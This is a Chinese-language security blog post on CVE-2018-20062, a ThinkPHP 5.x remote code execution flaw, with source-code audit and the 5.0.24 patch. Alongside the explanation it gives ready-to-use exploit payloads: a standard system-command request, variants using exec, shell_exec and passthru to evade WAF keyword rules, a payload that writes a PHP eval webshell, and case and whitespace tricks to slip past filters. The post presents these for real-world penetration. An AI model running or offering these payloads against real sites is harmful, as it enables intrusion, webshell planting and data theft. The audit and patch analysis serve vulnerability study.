Loading...

|

漏洞概述

CVE-2018-20062ThinkPHP 5.0/5.1分支中经典的任意方法调用 + 变量覆盖组合 RCE 漏洞。漏洞成因源于框架请求模拟机制的安全校验缺失,攻击者可通过可控的method参数调用Request类魔术方法,结合属性覆盖篡改过滤回调,最终利用calluser_func动态函数调用实现任意代码执行。

该漏洞无需路由适配、无需业务漏洞配合,全站通用、无前置条件、可批量利用,是 ThinkPHP 安全审计的核心入门漏洞。

影响版本

- ThinkPHP 5.0.x <= 5.0.23

- ThinkPHP 5.1.x <= 5.1.31

漏洞前置机制

ThinkPHP5 为兼容 RESTful 接口,支持通过 POST 提交 _method 参数覆写当前请求方法,用以模拟 PUT、DELETE 等不被浏览器原生支持的请求方式。核心逻辑位于 Request::method(),框架会将用户传入的 _method 参数值直接作为方法名动态调用,未做合法请求方法白名单校验,造成任意方法调用入口。

漏洞原理与源码审计

任意方法调用

文件:thinkphp/library/think/Request.php

method() 方法直接读取用户可控的 _method 参数,通过可变变量完成方法调用:

if (isset($_POST['_method'])) {

    $method = strtolower($_POST['_method']);

    $this->$method();

}

此处高危点:用户完全可控 $method,可调用类内任意可访问方法,包括魔术方法 __construct。

构造函数变量覆盖

Request 类构造函数支持传入数组批量赋值类属性,且仅校验属性是否存在,无权限与来源校验:

public function __construct($options = [])

{

    if (!empty($options)) {

        foreach ($options as $key => $val) {

            if (property_exists($this, $key)) {

                $this->$key = $val;

            }

        }

    }

}

攻击者通过 method=_construct 触发构造方法,即可覆写 Request 类的 filter、server 等关键属性,完成配置劫持。

动态回调函数执行

框架参数过滤逻辑 filterValue 使用 call_user_func 执行用户指定的过滤回调:

protected function filterValue($value, $filter)

{

    if (is_array($filter)) {

        foreach ($filter as $func) {

            $value = call_user_func($func, $value);

        }

    } else {

        $value = call_user_func($filter, $value);

    }

    return $value;

}

正常场景下 filter 为安全过滤函数,经过变量覆盖后,filter 可被可控为 system、exec 等命令执行函数,参数由 server 属性可控,最终触发 RCE。

完整漏洞利用链

可控 _method 参数 → 任意方法调用 → 触发 __construct → 覆写 filter、server 属性 → filterValue 动态回调 → 任意系统命令执行

标准利用 Payload:

POST / HTTP/1.1

Host: localhost

Content-Type: application/x-www-form-urlencoded

method=_construct&filter[]=system&server[REQUEST_METHOD]=whoami

利用逻辑拆解:

1. method=_construct:调用构造函数开启变量覆盖;

2. filter[]=system:将参数过滤回调替换为系统命令执行函数;

3. server[REQUEST_METHOD]=whoami:指定待执行的系统命令;

4. 框架自动调用参数过滤逻辑,执行 system('whoami'),完成 RCE。

绕过技巧

常规Payload局限性

上文标准 Payload 依赖 server[REQUEST_METHOD] 传参执行命令,在部分简易 WAF、关键字拦截场景下,system、REQUEST_METHOD 等特征极易被拦截。实战中需适配无特征、变形利用方式,同时该漏洞支持多参数、多回调函数组合利用,拓展性极强。

替换回调函数 Payload(绕过system关键字拦截)

除 system 外,PHP 多款高危动态回调函数均可适配该漏洞,可规避针对 system 的专属拦截规则,适配命令执行、代码执行两种场景:

# 1. exec 命令执行(返回命令执行结果数组)

method=_construct&filter[]=exec&server[REQUEST_METHOD]=whoami

# 2. shell_exec 命令执行(完整回显结果)

method=_construct&filter[]=shell_exec&server[REQUEST_METHOD]=ipconfig

# 3. passthru 无过滤命令执行(适合无回显场景)

method=_construct&filter[]=passthru&server[REQUEST_METHOD]=net user

无回显命令执行Payload(实战脱库/写马)

针对部分无回显环境,可通过重定向输出文件实现结果落地,完成写文件、导出数据等高危操作,贴合实战渗透落地需求:

# 写入一句话木马(无回显Getshell)

method=_construct&filter[]=file_put_contents&server[REQUEST_METHOD]=<?php @eval($_POST[cmd]);?>&server[PATH_INFO]=shell.php

# 命令结果导出到本地文件

method=_construct&filter[]=system&server[REQUEST_METHOD]=whoami > ./result.txt

参数变形绕过(规避基础WAF正则)

针对拦截 method=_construct 完整特征的基础防护,可利用框架参数解析特性变形绕过,核心原理为框架自动清洗多余空格、特殊字符,不影响方法调用逻辑:

# 空格变形绕过

method= _construct &filter[]=system&server[REQUEST_METHOD]=whoami

# 大小写混合绕过(框架自动转小写)

method=_CONSTRUCT&filter[]=SYSTEM&server[REQUEST_METHOD]=whoami

深层原理细节

属性覆盖限制:仅可覆写 protected/public 类属性,private 私有属性无法被遍历覆盖,这也是仅 filter、server 等属性可被利用的核心原因;

触发必然性:框架生命周期中,param() 参数解析逻辑必执行,因此篡改后的 filter 回调一定会触发,无概率性问题;

版本差异:5.1 版本利用逻辑完全一致,仅部分属性命名细微差异,Payload 通用,无需适配修改。

补丁修复

5.0.24 版本修复核心为请求方法白名单机制,彻底杜绝任意方法调用:

$method = strtolower($_POST['_method']);

if (!in_array($method, ['get', 'post', 'put', 'delete', 'patch'])) {

    $method = 'get';

}

修复后仅允许合法 REST 请求方法,__construct 等非法方法被直接拦截,从漏洞入口彻底失效。

漏洞核心复盘

该漏洞属于典型的功能安全缺失 + 危险函数组合漏洞,核心问题三点:

1. 可控参数直接映射为方法调用,无白名单边界,造成高危调用入口;

2. 类构造函数支持外部批量属性赋值,造成大范围变量覆盖风险;

3. 动态回调函数 call_user_func 信任框架配置,未做二次安全校验,导致配置劫持直达 RCE。

总结

CVE-2018-20062 并非复杂漏洞,但其利用链完整、触发条件极简、危害极高,是渗透测试与代码审计学习中不可或缺的经典案例。漏洞本质是开发者过度信任框架内置配置、忽略了用户输入的不可信原则,暴露了框架开发中“功能优先、安全后置”的典型安全缺陷。

上一篇 vulntarget-b靶场
下一篇 没有了
评论交流

文章目录